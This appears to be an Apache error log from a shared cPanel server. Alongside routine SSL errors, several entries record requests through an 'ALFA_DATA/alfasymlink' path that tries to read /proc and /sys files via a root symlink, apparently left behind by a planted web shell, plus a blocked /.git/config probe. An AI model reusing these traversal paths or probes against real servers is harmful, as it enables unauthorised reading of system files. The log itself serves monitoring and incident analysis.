[Sun Oct 25 23:39:34.138241 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 18.206.47.187:9053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:39:42.142454 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.208.146.193:57563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:39:48.083699 2026] [core:error] [pid 2954190:tid 2954190] (13)Permission denied: [client 85.208.96.195:38006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/objects_partial
[Sun Oct 25 23:39:49.907628 2026] [core:error] [pid 2955279:tid 2955279] (13)Permission denied: [client 185.191.171.17:55124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/aliases
[Sun Oct 25 23:39:50.226937 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 18.214.138.148:52017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:06.143651 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 3.226.34.98:15245] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:14.140543 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 44.215.235.20:34692] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:18.142073 2026] [ssl:error] [pid 2956090:tid 2956090] (70014)End of file found: [client 34.199.252.22:19445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:19.747620 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 85.208.96.193:34136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/objects
[Sun Oct 25 23:40:22.148440 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 35.174.141.243:20370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:26.210143 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 184.73.35.182:47818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/pci-stub/bind
[Sun Oct 25 23:40:27.080359 2026] [security2:error] [pid 2949650:tid 2949650] [client 107.172.76.131:50694] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7Ln_La-Z693QtLWwrGIQAAABQ"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:40:27.080399 2026] [security2:error] [pid 2949650:tid 2949650] [client 107.172.76.131:50694] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7Ln_La-Z693QtLWwrGIQAAABQ"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:40:30.138342 2026] [ssl:error] [pid 2942316:tid 2942316] (5)Input/output error: [client 54.198.33.233:28822] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:32.761975 2026] [core:crit] [pid 2954190:tid 2954190] (13)Permission denied: [client 66.228.62.150:36352] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 23:40:34.191697 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.220.70.171:24513] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:38.284959 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 44.205.180.155:18676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:42.141217 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 44.206.65.8:22550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:40:58.145704 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 54.204.62.163:49431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:41:02.307243 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 98.82.59.253:49989] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:41:06.165336 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 34.196.114.170:62381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:41:14.156686 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 54.86.59.155:4138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:41:22.154849 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 34.235.239.240:59125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:41:30.234489 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 100.29.63.24:54729] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:41:33.680519 2026] [security2:error] [pid 2934778:tid 2934778] [client 107.172.76.131:50708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7L39YvsK9lv2bQxMAC9AAAABA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 23:41:33.680618 2026] [security2:error] [pid 2934778:tid 2934778] [client 107.172.76.131:50708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7L39YvsK9lv2bQxMAC9AAAABA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 23:41:34.258052 2026] [ssl:error] [pid 2955721:tid 2955721] (70014)End of file found: [client 3.89.176.255:21632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:41:36.240352 2026] [authz_core:error] [pid 2949173:tid 2949173] [client 192.155.90.220:55472] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 23:41:46.135116 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.216.227.216:58489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:41:50.290924 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 184.73.68.20:22071] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:42:10.235288 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 3.212.219.113:52722] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:42:14.138174 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 98.80.130.239:32203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:42:38.147898 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.204.37.237:23021] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:42:54.133727 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 34.194.14.255:56073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:42:58.135178 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 3.219.81.66:11790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:43:14.128908 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 3.210.29.96:36964] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:43:30.138719 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 54.197.102.71:10299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:43:38.121093 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 34.231.118.144:21720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:43:50.180868 2026] [core:error] [pid 2954002:tid 2954002] (13)Permission denied: [client 18.209.201.119:8349] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_balloon/module/sections/__mcount_loc
[Sun Oct 25 23:43:58.280081 2026] [ssl:error] [pid 2955721:tid 2955721] (70014)End of file found: [client 52.71.46.142:49530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:44:03.417258 2026] [core:error] [pid 2949651:tid 2949651] (13)Permission denied: [client 85.208.96.207:11842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/ctor
[Sun Oct 25 23:44:04.815784 2026] [core:error] [pid 2954190:tid 2954190] (13)Permission denied: [client 185.191.171.6:55364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/i2c_piix4/sections/__verbose
[Sun Oct 25 23:44:10.109948 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.54.95.127:15921] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:44:14.171195 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.213.46.222:40567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:44:22.118344 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 3.218.103.254:43800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/shpchp/uevent
[Sun Oct 25 23:44:30.212234 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 54.83.56.1:15715] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource4
[Sun Oct 25 23:44:34.142382 2026] [ssl:error] [pid 2955721:tid 2955721] (70014)End of file found: [client 18.211.148.239:28099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:44:42.236693 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 34.231.156.59:8032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:44:46.124778 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.89.176.255:19470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:44:54.138593 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 107.20.224.184:20380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:44:58.117567 2026] [ssl:error] [pid 2955721:tid 2955721] (70014)End of file found: [client 184.73.239.35:37307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:45:02.127193 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.156.55.147:40404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:45:06.226796 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 52.45.194.165:38258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:45:16.206541 2026] [proxy_fcgi:error] [pid 2955721:tid 2955721] [client 168.144.169.161:54336] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 23:45:26.250638 2026] [ssl:error] [pid 2956090:tid 2956090] (70014)End of file found: [client 34.197.28.78:14720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:45:30.139651 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 54.84.93.8:30430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:45:54.367207 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 34.234.197.175:55263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:46:02.107508 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 3.218.103.254:10696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:46:06.131454 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 44.210.204.255:3278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:46:08.482821 2026] [proxy_fcgi:error] [pid 2955283:tid 2955283] [client 157.230.210.238:52503] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 23:46:14.137464 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 18.204.89.56:4958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:46:16.656058 2026] [core:crit] [pid 2957109:tid 2957109] (13)Permission denied: [client 95.214.53.196:52018] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 23:46:16.858349 2026] [core:crit] [pid 2949515:tid 2949515] (13)Permission denied: [client 95.214.53.196:42430] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 23:46:22.121741 2026] [core:error] [pid 2954002:tid 2954002] (13)Permission denied: [client 52.22.64.232:42216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/driver/0000:00:05.0/rescan
[Sun Oct 25 23:46:34.424143 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 54.91.122.193:14761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:46:38.112066 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 44.193.102.198:48974] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:46:50.112022 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 3.93.211.16:1239] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:46:54.132511 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 52.200.251.20:33077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:47:02.122434 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 54.235.191.179:7166] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:47:11.711935 2026] [security2:error] [pid 2954190:tid 2954190] [client 77.83.39.94:58178] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at7NP_oKyTuj-yC3xtKGMwAAAAE"]
[Sun Oct 25 23:47:11.712249 2026] [security2:error] [pid 2954190:tid 2954190] [client 77.83.39.94:58178] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at7NP_oKyTuj-yC3xtKGMwAAAAE"]
[Sun Oct 25 23:47:11.713221 2026] [security2:error] [pid 2954190:tid 2954190] [client 77.83.39.94:58178] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7NP_oKyTuj-yC3xtKGMwAAAAE"]
[Sun Oct 25 23:47:29.529591 2026] [core:error] [pid 2942316:tid 2942316] (13)Permission denied: [client 185.191.171.3:13896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/min_partial
[Sun Oct 25 23:47:38.126800 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 44.193.102.198:45804] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:47:42.123178 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 54.163.169.168:63603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource4
[Sun Oct 25 23:47:46.128081 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 52.7.33.248:61528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:47:50.190557 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.210.155.69:8783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:47:54.102078 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 52.44.148.203:48797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:06.116518 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 44.205.74.196:55066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:14.136110 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.91.122.193:42508] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:30.143161 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 44.215.210.112:4613] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:34.215890 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.0.63.151:30517] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:38.134237 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 3.93.211.16:31076] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:42.326567 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 54.225.81.20:57414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:50.117238 2026] [ssl:error] [pid 2957109:tid 2957109] (70014)End of file found: [client 3.213.46.222:10912] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:54.153467 2026] [ssl:error] [pid 2956090:tid 2956090] (70014)End of file found: [client 98.84.131.195:36050] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:48:58.136775 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 100.24.149.244:13214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/drivers/button/uevent
[Sun Oct 25 23:49:22.156391 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 54.89.90.224:52013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:49:30.148310 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 184.73.167.217:28389] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:49:46.363372 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 18.211.148.239:41555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:50:06.227103 2026] [ssl:error] [pid 2957109:tid 2957109] (70014)End of file found: [client 50.16.72.185:1900] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:50:10.148336 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 98.82.63.147:8283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:50:46.334117 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 52.6.232.201:21252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:50:50.297959 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 34.204.150.196:2048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:50:54.337073 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 3.229.95.193:43502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:51:06.425766 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 34.193.2.57:10728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:51:10.205920 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 52.45.15.233:31131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:51:14.357879 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 44.212.145.46:21601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:51:18.264789 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 23.21.119.232:61697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:51:34.224774 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 3.224.104.67:52270] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:51:38.531223 2026] [core:error] [pid 2955283:tid 2955283] (13)Permission denied: [client 107.20.255.194:41984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/thermal/bind
[Sun Oct 25 23:51:58.352456 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 34.226.89.140:25057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:52:02.348131 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.167.32.123:32760] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:52:08.944157 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 185.191.171.8:45688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:52:18.249705 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 52.1.106.130:17545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:52:26.310760 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 98.84.200.43:32416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:52:38.779115 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 35.173.18.61:58936] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:52:46.225501 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 18.232.12.157:29785] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ata_piix/bind
[Sun Oct 25 23:52:54.311605 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 34.234.197.175:11387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:52:58.403186 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 98.82.66.172:33719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:53:02.355028 2026] [core:error] [pid 2949651:tid 2949651] (13)Permission denied: [client 3.215.59.93:23485] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory18/subsystem/drivers_probe
[Sun Oct 25 23:53:14.646951 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 184.72.95.195:16396] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:53:22.430688 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.147.238.89:42187] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:53:35.124423 2026] [core:error] [pid 2954191:tid 2954191] (13)Permission denied: [client 18.214.251.19:39731] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/event1/device/device/drvctl
[Sun Oct 25 23:53:38.265750 2026] [core:error] [pid 2949645:tid 2949645] (13)Permission denied: [client 3.208.146.193:53934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/drivers/pci:virtio-pci/remove_id
[Sun Oct 25 23:53:58.365706 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 18.213.70.100:5839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:54:06.664466 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.162.69.192:61462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:54:10.370967 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 100.28.204.82:15287] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:54:18.482057 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 35.153.86.200:16044] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:54:22.260765 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 34.236.135.14:37503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:54:34.244597 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 35.173.18.61:57575] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:54:38.374160 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 34.194.226.74:48665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:54:40.898654 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 185.191.171.8:28736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/slab_size
[Sun Oct 25 23:54:50.492365 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 3.218.103.254:14626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:54:54.619085 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 3.90.73.206:46057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:55:07.351256 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 185.191.171.5:39906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:55:22.405978 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 23.23.99.55:20206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:55:22.406187 2026] [security2:error] [pid 2955279:tid 2955279] [client 23.23.99.55:20206] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:0d/subsystem/drivers/button/LNXPWRBN:00/input/input0/capabilities/sw"] [unique_id "at7PKta9gC1r30c5Pp3dVAAAAAM"]
[Sun Oct 25 23:55:22.406227 2026] [security2:error] [pid 2955279:tid 2955279] [client 23.23.99.55:20206] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:0d/subsystem/drivers/button/LNXPWRBN:00/input/input0/capabilities/sw"] [unique_id "at7PKta9gC1r30c5Pp3dVAAAAAM"]
[Sun Oct 25 23:55:26.300467 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 184.73.239.35:25397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:55:30.434537 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.45.92.83:10242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:55:34.263461 2026] [authz_core:error] [pid 2949515:tid 2949515] [client 66.228.53.78:57754] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 23:55:38.303856 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.89.176.255:16048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:55:42.502115 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 34.231.156.59:9661] AH02013: coalesce failed to read from data bucket
